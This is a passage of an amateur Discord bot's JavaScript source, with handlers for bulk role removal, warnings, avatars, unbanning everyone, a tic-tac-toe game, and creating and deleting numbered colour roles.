3527 .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
3528 .setColor('BLACK')
3529 message.channel.send(e)
3530 } else {
3531 message.reply(`يجب عليك كتابة اسم الرتبة`);
3532 }
3533 }
3534 else if(args[0] == 'all') {
3535 if(role.startsWith('.')) {
3536 let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
3537 let role1 = message.guild.roles.find('name', roleRe);
3538 message.channel.send(`Please wait until the order is finished`).then(msg =>{
3539 message.guild.members.forEach(m => {
3540 message.guild.member(m).removeRole(role1.id);
3541 });
3542 msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Pull From __${message.guild.members.size}__ Member**`);
3543 });
3544 }
3545 if(role) {
3546 let role1 = message.guild.roles.find('name', role);
3547 if(!role1) return;
3548 message.channel.send(`Please wait until the order is finished`).then(msg =>{
3549 message.guild.members.forEach(m => {
3550 message.guild.member(m).removeRole(role1);
3551 });
3552 msg.edit(`** :white_check_mark: Done...\n**` + role1.name+`** Has Pull To __${message.guild.members.size}__ Members **`);
3553 });
3554 }
3555 } else if(args[0] == 'humans') {
3556 if(role.startsWith('.')) {
3557 let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
3558 let role1 = message.guild.roles.find('name', roleRe);
3559 message.channel.send(`Please wait until the order is finished`).then(msg =>{
3560 message.guild.members.forEach(m => {
3561 message.guild.member(m).removeRole(role1.id);
3562 });
3563 msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** Has Pull From __${message.guild.members.size}__ Member**`);
3564 });
3565 }
3566
3567 if(role) {
3568 let role1 = message.guild.roles.find('name', role);
3569
3570 const ee =new Discord.RichEmbed()
3571 .setDescription('I Cann’t Find This Role')
3572 .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
3573 if(!role1) return message.channel.send(ee);
3574 message.channel.send(`Please wait until the order is finished`).then(msg =>{
3575 message.guild.members.filter(m =>m.user.bot == false).forEach(m => {
3576 message.guild.member(m).removeRole(role1);
3577 });
3578 msg.edit(`** :white_check_mark: Done...**`);
3579 });
3580 }
3581 } else if(args[0] == 'bots') {
3582 if(role.startsWith('.')) {
3583 let roleRe = args.join(' ').replace(member, '').replace(args[0], '').replace('-', '').replace(' ', '');
3584 let role1 = message.guild.roles.find('name', roleRe);
3585 message.channel.send(`Please wait until the order is finished`).then(msg =>{
3586 message.guild.members.forEach(m => {
3587 message.guild.member(m).removeRole(role1.id);
3588 });
3589 msg.edit(`** :white_check_mark: Done...**`);
3590 });
3591 }
3592 if(role) {
3593 let role1 = message.guild.roles.find('name', role);
3594 const ee =new Discord.RichEmbed()
3595 .setDescription('I Cann’t Find This Role')
3596 .setFooter('Requested By : '+message.author.username,message.author.avatarURL)
3597 if(!role1) return message.channel.send(ee);
3598 message.channel.send(`Please wait until the order is finished`).then(msg => {
3599 message.guild.members.filter(m =>m.user.bot == true).forEach(m => {
3600 message.guild.member(m).removeRole(role1);
3601 });
3602 msg.edit(`** :white_check_mark: Done...\n**` +role1.name+`** rank has been pull To __${message.guild.members.size}__ Member**`);
3603 });
3604 }
3605 }
3606 }
3607 });
3608
3609client.on('message', async message => {
3610 var user = message.mentions.users.first();
3611 var reason = message.content.split(' ').slice(2).join(' ');
3612if(message.content.startsWith(prefix + 'warn')) {
3613 if(!message.member.hasPermission('MUTE_MEMBERS')) return message.channel.send('**Sorry But You Dont Have Permission** `MUTE_MEMBERS`' );
3614 if(!user) return message.channel.send("**Mention The Target**")
3615 if(!reason) return message.channel.send("** Type The Reason**")
3616
3617 message.channel.send(`**__${user} Has Been Warned __**`)
3618
3619
3620}})
3621
3622
3623client.on("message", message => {
3624 if(!message.channel.guild) return;
3625if(message.author.bot) return;
3626if(message.content === prefix + "savatar"){
3627 const embed = new Discord.RichEmbed()
3628
3629.setTitle(`This is ** ${message.guild.name} ** Photo !`)
3630.setAuthor(message.author.username, message.guild.iconrURL)
3631.setColor(0x164fe3)
3632.setImage(message.guild.iconURL)
3633.setURL(message.guild.iconrURL)
3634 .setTimestamp()
3635
3636message.channel.send({embed});
3637}
3638});
3639client.on('message', message => {
3640 if (!message.content.startsWith(prefix)) return;
3641 var args = message.content.split(' ').slice(1);
3642 var argresult = args.join(' ');
3643 if (message.content.startsWith(prefix + "avatar")) {
3644 var mentionned = message.mentions.users.first();
3645 var MsH;
3646 if(mentionned){
3647 var MsH = mentionned;
3648 } else {
3649 var MsH = message.author;
3650
3651 }
3652 message.channel.send(MsH.avatarURL)
3653 message.delete(3000);
3654 }
3655
3656});
3657
3658client.on('message',async message => {
3659 if(message.content === '.unbanall') {
3660 var user = message.mentions.users.first();
3661 if(!message.member.hasPermission('ADMINISTRATOR')) return message.channel.send('❌|**\`ADMINISTRATOR\`لا توجد لديك صلاحية `**');
3662 if(!message.guild.member(client.user).hasPermission("BAN_MEMBERS")) return message.reply("**I Don't Have ` BAN_MEMBERS ` Permission**");
3663 const guild = message.guild;
3664
3665 message.guild.fetchBans().then(ba => {
3666 ba.forEach(ns => {
3667 message.guild.unban(ns);
3668 const embed= new Discord.RichEmbed()
3669 .setColor("RANDOM")
3670 .setAuthor("Succes!", "https://images-ext-1.discordapp.net/external/vp2vj9m0ieU5J6SHg6ObIsGpTJyoZnGAebrd0_vi848/https/i.imgur.com/GnR2unD.png?width=455&height=455")
3671 .setDescription(`**:white_check_mark: Has Been Unban For All**`)
3672 .setFooter('Requested by '+message.author.username, message.author.avatarURL)
3673 message.channel.sendEmbed(embed);
3674 guild.owner.send(`Server : ${guild.name}
3675 **Everyone was unbanned by** : <@${message.author.id}>`)
3676 });
3677 });
3678 }
3679 });
3680
3681
3682
3683
3684
3685
3686
3687
3688
3689
3690
3691
3692client.on('message' , message => {
3693 var prefix = ".";
3694 if(message.author.bot) return;
3695
3696 if(message.content.startsWith(prefix + "xo")) {
3697 let array_of_mentions = message.mentions.users.array();
3698 let symbols = [':o:', ':heavy_multiplication_x:']
3699 var grid_message;
3700
3701 if (array_of_mentions.length == 1 || array_of_mentions.length == 2) {
3702 let random1 = Math.floor(Math.random() * (1 - 0 + 1)) + 0;
3703 let random2 = Math.abs(random1 - 1);
3704 if (array_of_mentions.length == 1) {
3705 random1 = 0;
3706 random2 = 0;
3707 }
3708 let player1_id = array_of_mentions[random1].id;
3709 let player2_id = array_of_mentions[random2].id;
3710 var turn_id = player1_id;
3711 var symbol = symbols[0];
3712 let initial_message = `Match Between <@${player1_id}> و <@${player2_id}>!`;
3713 if (player1_id == player2_id) {
3714 initial_message += '\n_(From the loser, you play this role with yourself :joy:)_'
3715 }
3716 message.channel.send(`xo! ${initial_message}`)
3717 .then(console.log("Successful tictactoe introduction"))
3718 .catch(console.error);
3719 message.channel.send(':one::two::three:' + '\n' +
3720 ':four::five::six:' + '\n' +
3721 ':seven::eight::nine:')
3722 .then((new_message) => {
3723 grid_message = new_message;
3724 })
3725 .then(console.log("Successful xo game initialization"))
3726 .catch(console.error);
3727 message.channel.send('Loading... Wait for the reaction: :ok:')
3728 .then(async (new_message) => {
3729 await new_message.react('1⃣');
3730 await new_message.react('2⃣');
3731 await new_message.react('3⃣');
3732 await new_message.react('4⃣');
3733 await new_message.react('5⃣');
3734 await new_message.react('6⃣');
3735 await new_message.react('7⃣');
3736 await new_message.react('8⃣');
3737 await new_message.react('9⃣');
3738 await new_message.react('?');
3739 await new_message.edit(`its turn <@${turn_id}> Your tag is${symbol}`)
3740 .then((new_new_message) => {
3741 require('./alpha.js')(client, message, new_new_message, player1_id, player2_id, turn_id, symbol, symbols, grid_message);
3742 })
3743 .then(console.log("Successful xo listener initialization"))
3744 .catch(console.error);
3745 })
3746 .then(console.log("Successful xo react initialization"))
3747 .catch(console.error);
3748 }
3749 else {
3750 message.reply(`(Use This: ${prefix}xo @player1 @player2)`)
3751 .then(console.log("Successful error reply"))
3752 .catch(console.error);
3753 }
3754 }
3755 });
3756 client.on('message', message => {
3757 let args = message.content.split(' ').slice(1);
3758 if(message.content.split(' ')[0] == '.color'){
3759 const embedd = new Discord.RichEmbed()
3760 .setFooter('Requested by '+message.author.username, message.author.avatarURL)
3761 .setDescription(`**No Color With This Name/Number ** :x: `)
3762 .setColor(`ff0000`)
3763
3764 if(!isNaN(args) && args.length > 0)
3765
3766
3767 if (!(message.guild.roles.find("name",`${args}`))) return message.channel.sendEmbed(embedd);
3768
3769
3770 var a = message.guild.roles.find("name",`${args}`)
3771 if(!a)return;
3772 const embed = new Discord.RichEmbed()
3773
3774 .setFooter('Requested by '+message.author.username, message.author.avatarURL)
3775 .setDescription(`**Done , Your Colors Has Been Changed . :white_check_mark: **`)
3776
3777 .setColor(`${a.hexColor}`)
3778 message.channel.sendEmbed(embed);
3779 if (!args)return;
3780 setInterval(function(){})
3781 let count = 0;
3782 let ecount = 0;
3783 for(let x = 1; x < 201; x++){
3784
3785 message.member.removeRole(message.guild.roles.find("name",`${x}`))
3786
3787 }
3788 message.member.addRole(message.guild.roles.find("name",`${args}`));
3789
3790
3791 }
3792 });
3793
3794
3795 client.on('message', message => {
3796 if (message.content.startsWith(".botinfo")) {
3797 message.channel.send({
3798 embed: new Discord.RichEmbed()
3799 .setAuthor(client.user.username,client.user.avatarURL)
3800 .setThumbnail(client.user.avatarURL)
3801 .setColor('RANDOM')
3802 .setTitle('``INFO BlackBot™`` ')
3803 .addField('**My Ping**' , [`${Date.now() - message.createdTimestamp}` + 'MS'], true)
3804 .addField('**RAM Usage**', `[${(process.memoryUsage().rss / 1048576).toFixed()}MB]`, true)
3805 .addField('**Servers**', [client.guilds.size], true)
3806 .addField('**Channels**' , `[ ${client.channels.size} ]` , true)
3807 .addField('**Users**' ,`[ ${client.users.size} ]` , true)
3808 .addField('**My Name**' , `[ ${client.user.tag} ]` , true)
3809 .addField('**My ID**' , `[ ${client.user.id} ]` , true)
3810 .addField('**DiscordJS**' , `[ ${Discord.version} ]` , true)
3811 .addField('**NodeJS**' , `[ ${process.version} ]` , true)
3812 .addField('**Arch**' , `[ ${process.arch} ]` , true)
3813 .addField('**Platform**' , `[ ${process.platform} ]` , true)
3814 .addField('**My Prefix**' , `[ ${prefix} ]` , true)
3815 .addField('**My Language**' , `[ JavaScript | Node.js ]` , true)
3816 .setFooter('By | ! ℛx |??? -REVENGE ᴱᴺᴳᴵᴺᴱᴱᴿ D.JS#2310')
3817 })
3818 }
3819 });
3820
3821const hastebins = require('hastebin-gen');
3822client.on('message', message => {
3823var prefix = '.';
3824 if(message.content.startsWith(prefix + 'discrim')) {
3825 var args = message.content.split(' ').slice(1).join(' ');
3826 if(!args) return message.reply('Please Type The Discrim Tag')
3827}
3828 var array = [];
3829 var i = 0;
3830 if(args){
3831client.users.filter(u => u.discriminator == args).map(u => {
3832 if(i > 4){
3833 return;
3834 }
3835 i = i + 1;
3836
3837 array.push(`${u.tag}`);
3838});
3839}
3840hastebins(`${array.slice(0, 30).join('\n')}`, 'txt').then(l => {
3841 message.channel.send(`${l}`);
3842}).catch(console.error);
3843});
3844
3845
3846
3847client.on('message', message => {
3848 if(message.content.startsWith(prefix + 'hrole')) {
3849 if(!message.member.hasPermission('MANAGE_ROLES')) return
3850 let role = new Discord.RichEmbed()
3851 .setDescription(`
3852 Examples :
3853 ${prefix}role @mention rolename : To give a role to a particular member
3854 ${prefix}role all rolename : To give role to all
3855 ${prefix}role humans rolename : To give role to people only
3856 ${prefix}role bots rolename : To give role to bots only`)
3857 .setFooter('Requested by '+message.author.username, message.author.avatarURL)
3858message.channel.sendEmbed(role)
3859 }})
3860
3861client.on('message', message => {
3862 if(message.content.startsWith(prefix + '-hrole')) {
3863 if(!message.member.hasPermission('MANAGE_ROLES')) return
3864 let role = new Discord.RichEmbed()
3865 .setDescription(`
3866 Examples :
3867 .-role @mention rolename : To pull a role to a particular member
3868 .-role all rolename : To pull role to all
3869 .-role humans rolename : To pull role to people only
3870 .-role bots rolename : To pull role to bots only`)
3871 .setFooter('Requested by '+message.author.username, message.author.avatarURL)
3872message.channel.sendEmbed(role)
3873 }})
3874
3875
3876
3877
3878
3879client.on('message', message => {
3880 if(message.content === prefix + 'createcolors') {
3881 if(!message.channel.guild) return;
3882 if(!message.member.hasPermission('ADMINISTRATOR')) return message.channel.send('**You Dont Have** `ADMINISTRATOR` **premission**').then(msg => msg.delete(6000))
3883 message.guild.createRole({
3884 name: "1",
3885 color: "#FFB6C1",
3886 permissions: []
3887 })
3888 message.guild.createRole({
3889 name: "2",
3890 color: "#FFC0CB",
3891 permissions: []
3892 })
3893 message.guild.createRole({
3894 name: "3",
3895 color: "#FF69B4",
3896 permissions: []
3897 })
3898 message.guild.createRole({
3899 name: "4",
3900 color: "#FF1493",
3901 permissions: []
3902 })
3903 message.guild.createRole({
3904 name: "5",
3905 color: "#DB7093",
3906 permissions: []
3907 })
3908 message.guild.createRole({
3909 name: "6",
3910 color: "#C71585",
3911 permissions: []
3912 })
3913 message.guild.createRole({
3914 name: "7",
3915 color: "#E6E6FA",
3916 permissions: []
3917 })
3918 message.guild.createRole({
3919 name: "8",
3920 color: "#D8BFD8",
3921 permissions: []
3922 })
3923 message.guild.createRole({
3924 name: "8",
3925 color: "#DDA0DD",
3926 permissions: []
3927 })
3928 message.guild.createRole({
3929 name: "9",
3930 color: "#DA70D6",
3931 permissions: []
3932 })
3933 message.guild.createRole({
3934 name: "10",
3935 color: "#EE82EE",
3936 permissions: []
3937 })
3938 message.guild.createRole({
3939 name: "11",
3940 color: "#FF00FF",
3941 permissions: []
3942 })
3943 message.guild.createRole({
3944 name: "12",
3945 color: "#BA55D3",
3946 permissions: []
3947 })
3948 message.guild.createRole({
3949 name: "13",
3950 color: "#9932CC",
3951 permissions: []
3952 })
3953 message.guild.createRole({
3954 name: "14",
3955 color: "#9400D3",
3956 permissions: []
3957 })
3958 message.guild.createRole({
3959 name: "15",
3960 color: "#8A2BE2",
3961 permissions: []
3962 })
3963 message.guild.createRole({
3964 name: "16",
3965 color: "#8B008B",
3966 permissions: []
3967 })
3968 message.guild.createRole({
3969 name: "17",
3970 color: "#800080",
3971 permissions: []
3972 })
3973 message.guild.createRole({
3974 name: "18",
3975 color: "#9370DB",
3976 permissions: []
3977 })
3978 message.guild.createRole({
3979 name: "19",
3980 color: "#7B68EE",
3981 permissions: []
3982 })
3983 message.guild.createRole({
3984 name: "20",
3985 color: "#6A5ACD",
3986 permissions: []
3987 })
3988 message.guild.createRole({
3989 name: "21",
3990 color: "#483D8B",
3991 permissions: []
3992 })
3993 message.guild.createRole({
3994 name: "22",
3995 color: "#663399",
3996 permissions: []
3997 })
3998 message.guild.createRole({
3999 name: "23",
4000 color: "#4B0082",
4001 permissions: []
4002 })
4003 message.guild.createRole({
4004 name: "24",
4005 color: "#FFA07A",
4006 permissions: []
4007 })
4008 message.guild.createRole({
4009 name: "25",
4010 color: "#FA8072",
4011 permissions: []
4012 })
4013 message.guild.createRole({
4014 name: "26",
4015 color: "#E9967A",
4016 permissions: []
4017 })
4018 message.guild.createRole({
4019 name: "27",
4020 color: "#F08080",
4021 permissions: []
4022 })
4023 message.guild.createRole({
4024 name: "28",
4025 color: "#CD5C5C",
4026 permissions: []
4027 })
4028 message.guild.createRole({
4029 name: "29",
4030 color: "#DC143C",
4031 permissions: []
4032 })
4033 message.guild.createRole({
4034 name: "30",
4035 color: " #FF0000",
4036 permissions: []
4037 })
4038 message.guild.createRole({
4039 name: "31",
4040 color: "#B22222",
4041 permissions: []
4042 })
4043 message.guild.createRole({
4044 name: "32",
4045 color: "#8B0000",
4046 permissions: []
4047 })
4048 message.guild.createRole({
4049 name: "33",
4050 color: "#FFA500",
4051 permissions: []
4052 })
4053 message.guild.createRole({
4054 name: "34",
4055 color: "#FF8C00",
4056 permissions: []
4057 })
4058 message.guild.createRole({
4059 name: "35",
4060 color: "#FF7F50",
4061 permissions: []
4062 })
4063 message.guild.createRole({
4064 name: "36",
4065 color: "#FF6347",
4066 permissions: []
4067 })
4068 message.guild.createRole({
4069 name: "37",
4070 color: "#FF4500",
4071 permissions: []
4072 })
4073 message.guild.createRole({
4074 name: "38",
4075 color: "#FFD700",
4076 permissions: []
4077 })
4078 message.guild.createRole({
4079 name: "39",
4080 color: "#FFFFE0",
4081 permissions: []
4082 })
4083 message.guild.createRole({
4084 name: "40",
4085 color: "#FFFACD",
4086 permissions: []
4087 })
4088 message.guild.createRole({
4089 name: "41",
4090 color: "#FAFAD2",
4091 permissions: []
4092 })
4093 message.guild.createRole({
4094 name: "42",
4095 color: " #FFEFD5",
4096 permissions: []
4097 })
4098 message.guild.createRole({
4099 name: "43",
4100 color: "#FFE4B5",
4101 permissions: []
4102 })
4103 message.guild.createRole({
4104 name: "44",
4105 color: "#FFDAB9",
4106 permissions: []
4107 })
4108 message.guild.createRole({
4109 name: "45",
4110 color: "#EEE8AA",
4111 permissions: []
4112 })
4113 message.guild.createRole({
4114 name: "46",
4115 color: "#F0E68C",
4116 permissions: []
4117 })
4118 message.guild.createRole({
4119 name: "47",
4120 color: "#BDB76B",
4121 permissions: []
4122 })
4123 message.guild.createRole({
4124 name: "48",
4125 color: "#ADFF2F",
4126 permissions: []
4127 })
4128 message.guild.createRole({
4129 name: "49",
4130 color: "#7FFF00",
4131 permissions: []
4132 })
4133 message.guild.createRole({
4134 name: "50",
4135 color: "#7CFC00",
4136 permissions: []
4137 })
4138 message.guild.createRole({
4139 name: "51",
4140 color: "#00FF00",
4141 permissions: []
4142 })
4143
4144 message.guild.createRole({
4145 name: "52",
4146 color: "#32CD32",
4147 permissions: []
4148 })
4149 message.guild.createRole({
4150 name: "53",
4151 color: "#98FB98",
4152 permissions: []
4153 })
4154 message.guild.createRole({
4155 name: "54",
4156 color: "#90EE90",
4157 permissions: []
4158 })
4159 message.guild.createRole({
4160 name: "55",
4161 color: "#00FA9A",
4162 permissions: []
4163 })
4164 message.guild.createRole({
4165 name: "56",
4166 color: "#00FF7F",
4167 permissions: []
4168 })
4169 message.guild.createRole({
4170 name: "57",
4171 color: "#3CB371",
4172 permissions: []
4173 })
4174 message.guild.createRole({
4175 name: "58",
4176 color: "#2E8B57",
4177 permissions: []
4178 })
4179 message.guild.createRole({
4180 name: "59",
4181 color: "#2E8B57",
4182 permissions: []
4183 })
4184 message.guild.createRole({
4185 name: "60",
4186 color: "#008000",
4187 permissions: []
4188 })
4189 message.guild.createRole({
4190 name: "61",
4191 color: "#006400",
4192 permissions: []
4193 })
4194 message.guild.createRole({
4195 name: "62",
4196 color: "#9ACD32",
4197 permissions: []
4198 })
4199 message.guild.createRole({
4200 name: "63",
4201 color: "#6B8E23",
4202 permissions: []
4203 })
4204 message.guild.createRole({
4205 name: "64",
4206 color: "#556B2F",
4207 permissions: []
4208 })
4209 message.guild.createRole({
4210 name: "65",
4211 color: "#66CDAA",
4212 permissions: []
4213 })
4214 message.guild.createRole({
4215 name: "66",
4216 color: "#8FBC8F",
4217 permissions: []
4218 })
4219 message.guild.createRole({
4220 name: "67",
4221 color: "#20B2AA",
4222 permissions: []
4223 })
4224 message.guild.createRole({
4225 name: "68",
4226 color: "#008B8B",
4227 permissions: []
4228 })
4229 message.guild.createRole({
4230 name: "69",
4231 color: "#008080",
4232 permissions: []
4233 })
4234 message.guild.createRole({
4235 name: "70",
4236 color: "#00FFFF",
4237 permissions: []
4238 })
4239 message.guild.createRole({
4240 name: "71",
4241 color: "#E0FFFF",
4242 permissions: []
4243 })
4244 message.guild.createRole({
4245 name: "72",
4246 color: "#AFEEEE",
4247 permissions: []
4248 })
4249 message.guild.createRole({
4250 name: "73",
4251 color: "#7FFFD4",
4252 permissions: []
4253 })
4254 message.guild.createRole({
4255 name: "74",
4256 color: "#40E0D0",
4257 permissions: []
4258 })
4259 message.guild.createRole({
4260 name: "75",
4261 color: "#48D1CC",
4262 permissions: []
4263 })
4264 message.guild.createRole({
4265 name: "76",
4266 color: "#00CED1",
4267 permissions: []
4268 })
4269 message.guild.createRole({
4270 name: "77",
4271 color: "#5F9EA0",
4272 permissions: []
4273 })
4274 message.guild.createRole({
4275 name: "78",
4276 color: "#4682B4",
4277 permissions: []
4278 })
4279 message.guild.createRole({
4280 name: "79",
4281 color: "#B0C4DE",
4282 permissions: []
4283 })
4284 message.guild.createRole({
4285 name: "80",
4286 color: "#ADD8E6",
4287 permissions: []
4288 })
4289 message.guild.createRole({
4290 name: "81",
4291 color: "#B0E0E6",
4292 permissions: []
4293 })
4294 message.guild.createRole({
4295 name: "82",
4296 color: "#87CEFA",
4297 permissions: []
4298 })
4299 message.guild.createRole({
4300 name: "83",
4301 color: "#87CEEB",
4302 permissions: []
4303 })
4304 message.guild.createRole({
4305 name: "84",
4306 color: "#6495ED",
4307 permissions: []
4308 })
4309 message.guild.createRole({
4310 name: "85",
4311 color: "#00BFFF",
4312 permissions: []
4313 })
4314 message.guild.createRole({
4315 name: "86",
4316 color: "#1E90FF",
4317 permissions: []
4318 })
4319 message.guild.createRole({
4320 name: "87",
4321 color: "#4169E1",
4322 permissions: []
4323 })
4324 message.guild.createRole({
4325 name: "88",
4326 color: "#0000FF",
4327 permissions: []
4328 })
4329 message.guild.createRole({
4330 name: "89",
4331 color: "#0000CD",
4332 permissions: []
4333 })
4334 message.guild.createRole({
4335 name: "90",
4336 color: "#00008B",
4337 permissions: []
4338 })
4339 message.guild.createRole({
4340 name: "91",
4341 color: "#000080",
4342 permissions: []
4343 })
4344 message.guild.createRole({
4345 name: "92",
4346 color: "#191970",
4347 permissions: []
4348 })
4349 message.guild.createRole({
4350 name: "93",
4351 color: "#FFF8DC",
4352 permissions: []
4353 })
4354 message.guild.createRole({
4355 name: "94",
4356 color: "#FFEBCD",
4357 permissions: []
4358 })
4359 message.guild.createRole({
4360 name: "95",
4361 color: "#FFE4C4",
4362 permissions: []
4363 })
4364 message.guild.createRole({
4365 name: "96",
4366 color: "#FFDEAD",
4367 permissions: []
4368 })
4369 message.guild.createRole({
4370 name: "97",
4371 color: "#F5DEB3",
4372 permissions: []
4373 })
4374 message.guild.createRole({
4375 name: "98",
4376 color: "#DEB887",
4377 permissions: []
4378 })
4379 message.guild.createRole({
4380 name: "99",
4381 color: "#D2B48C",
4382 permissions: []
4383 })
4384 message.guild.createRole({
4385 name: "100",
4386 color: "#BC8F8F",
4387 permissions: []
4388 })
4389 message.guild.createRole({
4390 name: "101",
4391 color: "#F4A460",
4392 permissions: []
4393 })
4394 message.guild.createRole({
4395 name: "102",
4396 color: "#DAA520",
4397 permissions: []
4398 })
4399 message.guild.createRole({
4400 name: "103",
4401 color: "#B8860B",
4402 permissions: []
4403 })
4404 message.guild.createRole({
4405 name: "104",
4406 color: "#CD853F",
4407 permissions: []
4408 })
4409 message.guild.createRole({
4410 name: "105",
4411 color: "#D2691E",
4412 permissions: []
4413 })
4414 message.guild.createRole({
4415 name: "106",
4416 color: "#808000",
4417 permissions: []
4418 })
4419 message.guild.createRole({
4420 name: "107",
4421 color: "#8B4513",
4422 permissions: []
4423 })
4424 message.guild.createRole({
4425 name: "108",
4426 color: "#A0522D",
4427 permissions: []
4428 })
4429 message.guild.createRole({
4430 name: "109",
4431 color: "#A52A2A",
4432 permissions: []
4433 })
4434 message.guild.createRole({
4435 name: "110",
4436 color: "#800000",
4437 permissions: []
4438 })
4439 message.guild.createRole({
4440 name: "111",
4441 color: "#FFFFFF",
4442 permissions: []
4443 })
4444 message.guild.createRole({
4445 name: "112",
4446 color: "#FFFAFA",
4447 permissions: []
4448 })
4449 message.guild.createRole({
4450 name: "113",
4451 color: "#F0FFF0",
4452 permissions: []
4453 })
4454 message.guild.createRole({
4455 name: "114",
4456 color: "#F5FFFA",
4457 permissions: []
4458 })
4459 message.guild.createRole({
4460 name: "115",
4461 color: "#F0FFFF",
4462 permissions: []
4463 })
4464 message.guild.createRole({
4465 name: "116",
4466 color: "#F0F8FF",
4467 permissions: []
4468 })
4469 message.guild.createRole({
4470 name: "117",
4471 color: "#F8F8FF",
4472 permissions: []
4473 })
4474 message.guild.createRole({
4475 name: "118",
4476 color: "#F5F5F5",
4477 permissions: []
4478 })
4479 message.guild.createRole({
4480 name: "119",
4481 color: "#FFF5EE",
4482 permissions: []
4483 })
4484 message.guild.createRole({
4485 name: "120",
4486 color: "#F5F5DC",
4487 permissions: []
4488 })
4489 message.guild.createRole({
4490 name: "121",
4491 color: "#FDF5E6",
4492 permissions: []
4493 })
4494 message.guild.createRole({
4495 name: "122",
4496 color: "#FFFAF0",
4497 permissions: []
4498 })
4499 message.guild.createRole({
4500 name: "123",
4501 color: "#FFFFF0",
4502 permissions: []
4503 })
4504 message.guild.createRole({
4505 name: "124",
4506 color: "#FAEBD7",
4507 permissions: []
4508 })
4509 message.guild.createRole({
4510 name: "125",
4511 color: "#FAF0E6",
4512 permissions: []
4513 })
4514 message.guild.createRole({
4515 name: "126",
4516 color: "#FFF0F5",
4517 permissions: []
4518 })
4519 message.guild.createRole({
4520 name: "127",
4521 color: "#FFE4E1",
4522 permissions: []
4523 })
4524 message.guild.createRole({
4525 name: "128",
4526 color: "#DCDCDC",
4527 permissions: []
4528 })
4529 message.guild.createRole({
4530 name: "129",
4531 color: "#D3D3D3",
4532 permissions: []
4533 })
4534 message.guild.createRole({
4535 name: "130",
4536 color: "#C0C0C0",
4537 permissions: []
4538 })
4539 message.guild.createRole({
4540 name: "131",
4541 color: "#f7f7f7",
4542 permissions: []
4543 })
4544 message.guild.createRole({
4545 name: "132",
4546 color: "#b2b2b2",
4547 permissions: []
4548 })
4549 message.guild.createRole({
4550 name: "133",
4551 color: "#6f6c6c",
4552 permissions: []
4553 })
4554 message.guild.createRole({
4555 name: "134",
4556 color: "#4d4646",
4557 permissions: []
4558 })
4559 message.guild.createRole({
4560 name: "135",
4561 color: "#4c4c4c",
4562 permissions: []
4563 })
4564 message.guild.createRole({
4565 name: "136",
4566 color: "#2F4F4F",
4567 permissions: []
4568 })
4569 message.guild.createRole({
4570 name: "137",
4571 color: "#040000",
4572 permissions: []
4573 })
4574
4575
4576 message.channel.sendMessage({embed: new Discord.RichEmbed()
4577 .setColor('#502faf').setAuthor(`${message.author.username}'`, message.author.avatarURL).setDescription('``Colors Has Been Created``')});
4578 }
4579
4580
4581
4582
4583client.on('message', async message => {
4584
4585 let args = message.content.split(' ').slice(1);
4586if (message.content.startsWith(prefix +"deletecolors")) {
4587 if(!message.member.hasPermission('ADMINISTRATOR')) return
4588 let role = message.guild.roles.find('name', '1');
4589
4590 role.delete()
4591 }
4592
4593});
4594client.on('message', async message => {
4595
4596 let args = message.content.split(' ').slice(1);
4597if (message.content.startsWith(prefix +"deletecolors")) {
4598 if(!message.member.hasPermission('ADMINISTRATOR')) return
4599 let role = message.guild.roles.find('name', '2');
4600
4601 role.delete()
4602 }
4603
4604});
4605
4606client.on('message', async message => {
4607
4608 let args = message.content.split(' ').slice(1);
4609if (message.content.startsWith(prefix +"deletecolors")) {
4610 if(!message.member.hasPermission('ADMINISTRATOR')) return
4611 let role = message.guild.roles.find('name', '3');
4612
4613 role.delete()
4614 }
4615
4616});
4617client.on('message', async message => {
4618
4619 let args = message.content.split(' ').slice(1);
4620if (message.content.startsWith(prefix +"deletecolors")) {
4621 if(!message.member.hasPermission('ADMINISTRATOR')) return
4622 let role = message.guild.roles.find('name', '4');
4623
4624 role.delete()
4625 }
4626
4627});
4628
4629client.on('message', async message => {
4630
4631 let args = message.content.split(' ').slice(1);
4632if (message.content.startsWith(prefix +"deletecolors")) {
4633 if(!message.member.hasPermission('ADMINISTRATOR')) return
4634 let role = message.guild.roles.find('name', '5');
4635
4636 role.delete()
4637 }
4638
4639});
4640
4641client.on('message', async message => {
4642
4643 let args = message.content.split(' ').slice(1);
4644if (message.content.startsWith(prefix +"deletecolors")) {
4645 if(!message.member.hasPermission('ADMINISTRATOR')) return
4646 let role = message.guild.roles.find('name', '6');
4647
4648 role.delete()
4649 }
4650
4651});
4652
4653client.on('message', async message => {
4654
4655 let args = message.content.split(' ').slice(1);
4656if (message.content.startsWith(prefix +"deletecolors")) {
4657 if(!message.member.hasPermission('ADMINISTRATOR')) return
4658 let role = message.guild.roles.find('name', '7');
4659
4660 role.delete()
4661 }
4662
4663});
4664
4665client.on('message', async message => {
4666
4667 let args = message.content.split(' ').slice(1);
4668if (message.content.startsWith(prefix +"deletecolors")) {
4669 if(!message.member.hasPermission('ADMINISTRATOR')) return
4670 let role = message.guild.roles.find('name', '8');
4671
4672 role.delete()
4673 }
4674
4675});
4676
4677client.on('message', async message => {
4678
4679 let args = message.content.split(' ').slice(1);
4680if (message.content.startsWith(prefix +"deletecolors")) {
4681 if(!message.member.hasPermission('ADMINISTRATOR')) return
4682 let role = message.guild.roles.find('name', '9');
4683
4684 role.delete()
4685 }
4686
4687});
4688
4689client.on('message', async message => {
4690
4691 let args = message.content.split(' ').slice(1);
4692if (message.content.startsWith(prefix +"deletecolors")) {
4693 if(!message.member.hasPermission('ADMINISTRATOR')) return
4694 let role = message.guild.roles.find('name', '10');
4695
4696 role.delete()
4697 }
4698
4699});
4700
4701client.on('message', async message => {
4702
4703 let args = message.content.split(' ').slice(1);
4704if (message.content.startsWith(prefix +"deletecolors")) {
4705 if(!message.member.hasPermission('ADMINISTRATOR')) return
4706 let role = message.guild.roles.find('name', '11');
4707
4708 role.delete()
4709 }
4710
4711});
4712
4713client.on('message', async message => {
4714
4715 let args = message.content.split(' ').slice(1);
4716if (message.content.startsWith(prefix +"deletecolors")) {
4717 if(!message.member.hasPermission('ADMINISTRATOR')) return
4718 let role = message.guild.roles.find('name', '12');
4719
4720 role.delete()
4721 }
4722
4723});
4724
4725client.on('message', async message => {
4726
4727 let args = message.content.split(' ').slice(1);
4728if (message.content.startsWith(prefix +"deletecolors")) {
